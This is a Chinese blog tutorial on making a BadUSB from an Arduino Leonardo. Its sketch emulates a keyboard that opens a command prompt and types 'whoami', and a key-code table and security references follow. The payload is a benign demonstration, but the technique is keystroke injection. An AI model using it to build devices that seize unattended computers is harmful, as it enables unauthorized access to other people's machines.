Menu

利用Arduino制作BadUSB

2017-11-20 - 单片机

之前我在打王者荣耀的时候,赢了一个badusb+secusb

就想这样:

关于badusb介绍网上有很多,我在这里不多说,直接说制作方法,freebuf上一篇文章制作方法有点小问题。

我这里更新一下,更完整版本。

准备材料:

Arduino Leonardo //小型单片机模拟USB

Arduino IDE //用于烧录代码的编译器 http://www.arduino.cn/thread-5838-1-1.html

安卓数据线 //用于连接电脑USB

PC一台 //ok我们可以开工了

扩展:追求完美的同学可以考虑 ——超短micro转USB

首先把arduino IDE先装好 安装过程很简单 就是下一步下一步,没什么难度。

安装好以后打开IDE。

那好我们就开始编写代码,不过在这之前我们要先把Arduino Leonardo插上。然后我们先保存一下这个项目文件,test。

 


#include //包含键盘模块头文件
void setup() {
// put your setup code here, to run once:
Keyboard.begin();//开始键盘通信
delay(1000);//延时1000毫秒,不要太短,因为每天电脑的运行速度都不一样
Keyboard.press(KEY_CAPS_LOCK); //按下大写键 这里我们最好这样写 不然大多数电脑在中文输入的情况下就会出现问题
Keyboard.release(KEY_CAPS_LOCK); //释放大写键
delay(500);
Keyboard.press(KEY_LEFT_GUI);//按下徽标键 也就是win键
delay(500);
Keyboard.press('r');//按下r键
delay(500);
Keyboard.release(KEY_LEFT_GUI);//松掉win键
Keyboard.release('r');//松掉r键
delay(500);
Keyboard.println("cmd");//输入cmd进入DOS
delay(500);
Keyboard.press(KEY_RETURN); //按下回车键
Keyboard.release(KEY_RETURN); //释放回车键
delay(500);
Keyboard.press(KEY_CAPS_LOCK); //按下大写键
Keyboard.release(KEY_CAPS_LOCK); //释放大写键 我们再次关闭开启的大写键
delay(500);
Keyboard.println("whoami");
Keyboard.press(KEY_RETURN); //按下回车键
Keyboard.release(KEY_RETURN); //释放回车键
delay(500);
Keyboard.end();//结束键盘通讯
}
void loop() {
// put your main code here, to run repeatedly:
}

我稍微修改了一下代码。(原来freebuf上代码少了一个“{”符号)

 

并且注意2个点:

工具-端口里选择Arduino Leonardo,还需要在工具-开发板选择Arduino Leonardo。

这里freebuf上文章没有提到,不然 会一直报错 找不到键盘

然后 编译上传就OK了。附带视频效果图。

 

最后附上键值对照表

Key            Hexadecimal value    Decimal value

KEY_LEFT_CTRL         0x80         128

KEY_LEFT_SHIFT        0x81         129

KEY_LEFT_ALT          0x82         130

KEY_LEFT_GUI         0x83         131

KEY_RIGHT_CTRL        0x84         132

KEY_RIGHT_SHIFT        0x85         133

KEY_RIGHT_ALT        0x86         134

KEY_RIGHT_GUI         0x87         135

KEY_UP_ARROW         0xDA         218

KEY_DOWN_ARROW        0xD9         217

KEY_LEFT_ARROW        0xD8         216

KEY_RIGHT_ARROW        0xD7         215

KEY_BACKSPACE        0xB2         178

KEY_TAB            0xB3           179

KEY_RETURN         0xB0         176

KEY_ESC             0xB1         177

KEY_INSERT         0xD1         209

KEY_DELETE         0xD4         212

KEY_PAGE_UP         0xD3         211

KEY_PAGE_DOWN        0xD6         214

KEY_HOME             0xD2         210

KEY_END             0xD5         213

KEY_CAPS_LOCK         0xC1         193

KEY_F1               0xC2         194

KEY_F2              0xC3         195

KEY_F3              0xC4         196

KEY_F4              0xC5         197

KEY_F5              0xC6         198

KEY_F6              0xC7         199

KEY_F7              0xC8         200

KEY_F8              0xC9         201

KEY_F9              0xCA         202

KEY_F10             0xCB         203

KEY_F11              0xCC         204

KEY_F12             0xCD         205

参考文献:

http://www.freebuf.com/sectool/107242.html

http://www.myhack58.com/Article/60/76/2014/56812.htm

http://zone.wooyun.org/content/17931

http://www.freebuf.com/articles/terminal/6182.html

https://security.tencent.com/index.php/blog/msg/74

 

 

标签: